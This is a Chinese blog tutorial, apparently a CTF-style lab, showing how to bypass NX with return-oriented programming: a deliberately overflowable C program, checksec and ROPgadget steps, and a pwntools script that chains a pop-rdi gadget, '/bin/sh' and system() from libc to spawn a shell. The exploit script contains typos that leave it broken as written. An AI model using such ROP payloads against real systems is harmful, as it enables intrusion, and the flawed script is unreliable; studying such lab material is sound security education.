美文网首页
NX防护机制绕过 ROP

NX防护机制绕过 ROP

作者: Zero_0_0 | 来源:发表于2018-10-24 17:17 被阅读0次

什么是ROP

*ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets是返回地址,只有返回地址是可以我们随意操作的!)

源码

#include <stdio.h>
#include <string.h>

int main()
{
    puts("SO plz qive me your shellcode");
        char buffer[256];
        memset(buffer,0,256);
        read(0,buffer,256);    
        vul(buffer);
        return 0;

}
void vul(char *msg)
{
    char buffer[64];
    memcpy(buffer,msg,128);
    return;

}

检查

1.checksec pwnme 查看文件开启的安全防护机制

图片.png
2.我们知道文件开启了,栈不可执行,我们在打开一个命令窗口。输入ps -a 我们可以观察到 图片.png

布局

图片.png
*我们需要知道这个gadgets这个小片段,然我们可以使用ROPgadget这个工具来查找 ROPgadget --binary pwnme |grep rdi 图片.png

思路:我们将/bin/sh先传入rdi中,我们在调用system函数。实现了我们将/bin/sh传入systemsystem('/bin/sh')

/bin/sh和system的查找到IDA中查找

exp文件的编写 需要修改

from pwn import *
p = procces('./pwnme')
p.recvuntil('shellcode')   #j接收字符串

gedgetr_add = 0x0000000000401253
libc_base = 0x00007ffff7dee000
##bin/sh和system的偏移地址
bin_sh =  0x000000000017F573 
system = 0x00000000000435D0
##off end
bin_sh_off = libc_bace+bin_sh
system_off = libc_bace +system
##布局填充数据
paylod ='A'*72
paylod += p64(gedgetr_add)
paylod += p64(bin_sh_off)
paylod += p64(system_off)

with open('poc','wb') as f :
       f.write(paylod)

p.sendline(paylod)
p.interctive()



添加知识点

如何用脚本查找bin/sh和system

from pwn import *
p = process('./pwnme')
p.recvuntil('shellcode')  

elf = ELF('libc.so.6')

system_in_libc = elf.symbols['system']

bin_sh_in_libc = next(elf.search('/bin/sh'))


libc_base = 0x00007ffff7dee000
gadget_addr =  0x0000000000401243
system_addr = libc_base + system_in_libc
bin_sh_addr = libc_base + bin_sh_in_libc

print hex(system_addr) +'----'+hex(bin_sh_addr)

相关文章

  • NX防护机制绕过 ROP

    什么是ROP *ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在...

  • NX机制及绕过策略-ROP

    上回弄了个32位的NX机制及策略-Ret2libc,这次弄一个64位的 将代码在x64平台上编译运行,不同于x86...

  • rop and rop2 wp

    题目来源:国外的一个ctf平台hackme rop hint: ROP buffer overflow防护机制: ...

  • 覆盖低位泄露.text地址绕过PIE(ASLR)

    2016年hctf的一道pwn题就是干,同时涉及到PIE绕过、uaf、ROP的姿势,先看下防护基本上都开了: 程序...

  • 2018-网鼎杯 第一场 pwn writueup

    网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...

  • lab5

    先checksec 一波 开启了NX保护,静态链接,溢出的空间也够构造rop链,一看就是return to sys...

  • HITCON-Training-master lab2 wp

    查看了下防护机制 发现它没开启nx,所以可以向内存中写入shellcode执行简单跑了一下程序,发现输出了一句话:...

  • NX机制及绕过策略-ret2libc

    注: 请结合这篇文章:经典栈溢出-https://www.jianshu.com/p/6a1235d99176查...

  • echo和echo2 writeup

    echo 防护机制: 32位的开启了NX的程序ida反编译一下: 很明显的一个格式化字符串漏洞,加上程序中存在sy...

  • (pwn)基本ROP的几个例子(二)

    四、ret2syscall 点击下载文件rop 检查保护 开启了NX保护 IDA查看代码 v4相对ebp偏移与上题...

网友评论

      本文标题:NX防护机制绕过 ROP

      本文链接:https://www.haomeiwen.com/subject/iakxtqtx.html